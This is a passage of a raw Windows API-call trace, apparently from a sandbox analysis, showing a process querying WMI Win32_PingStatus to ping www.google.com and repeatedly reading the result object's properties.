(bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.731] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee53c | out: puCount=0x59ee53c*=0x2) returned 0x0 [0136.732] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0x0, pszText=0x0 | out: puBuffLength=0x59ee538*=0xf, pszText=0x0) returned 0x0 [0136.732] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee538*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.732] IWbemClassObject:Get (in: This=0x4f387a8, wszName="address", lFlags=0, pVal=0x59ee538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241c220*=0, plFlavor=0x241c224*=0 | out: pVal=0x59ee538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x241c220*=8, plFlavor=0x241c224*=0) returned 0x0 [0136.732] SysStringByteLen (bstr="www.google.com") returned 0x1c [0136.732] SysStringByteLen (bstr="www.google.com") returned 0x1c [0136.732] IWbemClassObject:Get (in: This=0x4f387a8, wszName="address", lFlags=0, pVal=0x59ee58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x241c220*=8, plFlavor=0x241c224*=0 | out: pVal=0x59ee58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x241c220*=8, plFlavor=0x241c224*=0) returned 0x0 [0136.732] SysStringByteLen (bstr="www.google.com") returned 0x1c [0136.732] SysStringByteLen (bstr="www.google.com") returned 0x1c [0136.732] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x59ee5d8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59ee580 | out: ppResult=0x59ee580*=0x4f59150*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4b710*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) returned 0 [0136.751] FreeAddrInfoW (pAddrInfo=0x4f59150*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4b710*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) [0136.752] CoCreateGuid (in: pguid=0x59ee698 | out: pguid=0x59ee698*(Data1=0xd0614d10, Data2=0xb9cf, Data3=0x4199, Data4=([0]=0x83, [1]=0x9d, [2]=0xe8, [3]=0xd2, [4]=0x24, [5]=0x83, [6]=0x6, [7]=0xf5))) returned 0x0 [0136.752] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0136.752] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0136.753] EtwEventActivityIdControl () returned 0x0 [0136.753] EtwEventActivityIdControl () returned 0x0 [0136.753] EtwEventActivityIdControl () returned 0x0 [0136.753] EtwEventActivityIdControl () returned 0x0 [0136.753] EtwEventActivityIdControl () returned 0x0 [0136.753] EtwEventActivityIdControl () returned 0x0 [0136.754] QueryPerformanceCounter (in: lpPerformanceCount=0x59ee2b4 | out: lpPerformanceCount=0x59ee2b4*=1177773118359) returned 1 [0136.758] QueryPerformanceCounter (in: lpPerformanceCount=0x59ee27c | out: lpPerformanceCount=0x59ee27c*=1177773523290) returned 1 [0136.759] EtwEventActivityIdControl () returned 0x0 [0136.759] EtwEventActivityIdControl () returned 0x0 [0136.759] EtwEventActivityIdControl () returned 0x0 [0136.759] EtwEventActivityIdControl () returned 0x0 [0136.764] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0136.764] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0136.764] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.764] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0136.764] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0136.764] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.764] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0136.764] SafeArrayGetDim (psa=0x507450) returned 0x1 [0136.764] SafeArrayGetDim (psa=0x507450) returned 0x1 [0136.764] SafeArrayGetLBound (in: psa=0x507450, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0136.764] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.764] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.764] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.764] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.765] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.765] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.765] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.765] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.765] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.765] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.765] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.765] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.765] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.765] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.765] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.765] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.765] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.765] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.765] SysStringByteLen (bstr="__PATH") returned 0xc [0136.765] SysStringByteLen (bstr="__PATH") returned 0xc [0136.765] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a368*=0, plFlavor=0x242a36c*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242a368*=3, plFlavor=0x242a36c*=64) returned 0x0 [0136.766] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a39c*=0, plFlavor=0x242a3a0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242a39c*=8, plFlavor=0x242a3a0*=64) returned 0x0 [0136.766] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.766] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.766] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a3f4*=0, plFlavor=0x242a3f8*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a3f4*=8, plFlavor=0x242a3f8*=64) returned 0x0 [0136.766] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a41c*=0, plFlavor=0x242a420*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242a41c*=8, plFlavor=0x242a420*=64) returned 0x0 [0136.766] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.766] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.766] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a474*=0, plFlavor=0x242a478*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242a474*=8, plFlavor=0x242a478*=64) returned 0x0 [0136.766] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.766] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.766] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a65c*=0, plFlavor=0x242a660*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242a65c*=3, plFlavor=0x242a660*=64) returned 0x0 [0136.767] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a690*=0, plFlavor=0x242a694*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5074e0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242a690*=8200, plFlavor=0x242a694*=64) returned 0x0 [0136.767] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a6c4*=0, plFlavor=0x242a6c8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242a6c4*=8, plFlavor=0x242a6c8*=64) returned 0x0 [0136.767] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.767] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.767] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a710*=0, plFlavor=0x242a714*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242a710*=8, plFlavor=0x242a714*=64) returned 0x0 [0136.767] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.767] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.767] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a75c*=0, plFlavor=0x242a760*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242a75c*=8, plFlavor=0x242a760*=64) returned 0x0 [0136.768] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.768] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0136.768] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0136.768] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.768] IWbemClassObject:Get (in: This=0x4f387a8, wszName="BufferSize", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242a994*=0, plFlavor=0x242a998*=0 | out: pVal=0x59ee898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x242a994*=19, plFlavor=0x242a998*=0) returned 0x0 [0136.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0136.768] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0136.768] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0136.768] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0136.768] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.768] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0136.769] SafeArrayGetDim (psa=0x5073f0) returned 0x1 [0136.769] SafeArrayGetDim (psa=0x5073f0) returned 0x1 [0136.769] SafeArrayGetLBound (in: psa=0x5073f0, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0136.769] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.769] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.769] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.769] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.769] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.769] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.769] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.769] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.769] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.860] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.860] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.860] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.860] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.860] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.860] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.860] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.860] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.860] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.860] SysStringByteLen (bstr="__PATH") returned 0xc [0136.860] SysStringByteLen (bstr="__PATH") returned 0xc [0136.861] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242ad48*=0, plFlavor=0x242ad4c*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242ad48*=3, plFlavor=0x242ad4c*=64) returned 0x0 [0136.861] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242ad7c*=0, plFlavor=0x242ad80*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242ad7c*=8, plFlavor=0x242ad80*=64) returned 0x0 [0136.861] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.861] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.861] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242add4*=0, plFlavor=0x242add8*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242add4*=8, plFlavor=0x242add8*=64) returned 0x0 [0136.861] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242adfc*=0, plFlavor=0x242ae00*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242adfc*=8, plFlavor=0x242ae00*=64) returned 0x0 [0136.861] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.861] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.861] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242ae54*=0, plFlavor=0x242ae58*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242ae54*=8, plFlavor=0x242ae58*=64) returned 0x0 [0136.861] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.862] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.862] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242b030*=0, plFlavor=0x242b034*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242b030*=3, plFlavor=0x242b034*=64) returned 0x0 [0136.862] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242b064*=0, plFlavor=0x242b068*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242b064*=8200, plFlavor=0x242b068*=64) returned 0x0 [0136.862] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242b098*=0, plFlavor=0x242b09c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242b098*=8, plFlavor=0x242b09c*=64) returned 0x0 [0136.862] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.862] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.862] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242b0e4*=0, plFlavor=0x242b0e8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242b0e4*=8, plFlavor=0x242b0e8*=64) returned 0x0 [0136.862] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.862] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.863] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242b130*=0, plFlavor=0x242b134*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242b130*=8, plFlavor=0x242b134*=64) returned 0x0 [0136.863] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.863] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0136.863] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0136.863] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.863] IWbemClassObject:Get (in: This=0x4f387a8, wszName="BufferSize", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242b368*=0, plFlavor=0x242b36c*=0 | out: pVal=0x59ee8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x242b368*=19, plFlavor=0x242b36c*=0) returned 0x0 [0136.863] IWbemClassObject:Get (in: This=0x4f387a8, wszName="BufferSize", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242b368*=19, plFlavor=0x242b36c*=0 | out: pVal=0x59ee980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x242b368*=19, plFlavor=0x242b36c*=0) returned 0x0 [0136.864] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0136.864] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0136.864] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.865] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0136.865] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, 